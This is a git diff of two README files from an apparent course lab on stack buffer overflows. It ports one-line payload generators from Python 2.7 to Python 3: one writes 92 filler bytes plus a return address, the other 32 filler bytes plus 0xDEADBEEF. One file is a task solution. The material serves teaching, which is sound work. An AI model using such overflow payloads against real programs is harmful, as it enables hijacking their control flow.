diff --git a/labs/lab-10/tasks/overwrite-ret-addr/solution/README.md b/labs/lab-10/tasks/overwrite-ret-addr/solution/README.md
index 7640dcf66..beb0b67c1 100644
--- a/labs/lab-10/tasks/overwrite-ret-addr/solution/README.md
+++ b/labs/lab-10/tasks/overwrite-ret-addr/solution/README.md
@@ -33,5 +33,5 @@ size_t i, len;                                  // 16 bytes (8 each one)
 Sum that up and add another 4 for `ebp` => 92
 
 ``` Bash
-python2.7 -c 'print "100\n" + "A" * 92 + "\x96\x85\x04\x08"' > payload
+python3 -c 'import sys; sys.stdout.buffer.write(b"100\n" + b"A" * 92 + b"\x96\x85\x04\x08")' > payload
 ```
diff --git a/labs/lab-10/tasks/read-stdin-gets/README.md b/labs/lab-10/tasks/read-stdin-gets/README.md
index 52ad147b7..ab381664a 100644
--- a/labs/lab-10/tasks/read-stdin-gets/README.md
+++ b/labs/lab-10/tasks/read-stdin-gets/README.md
@@ -47,7 +47,7 @@ This is a string that occupies `8` bytes.
 > For example, to generate a payload that overwrites a value in the code with the value `0xDEADBEEF`, you can execute the following command:
 
 ```python
-python2.7 -c 'print "A" * 32 + "\xEF\xBE\xAD\xDE"' > payload
+python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 32 + b"\xEF\xBE\xAD\xDE")' > payload
 ```
 
 > **NOTE** number `32` is only an example and it represents the size of buffer that needs to be bypassed.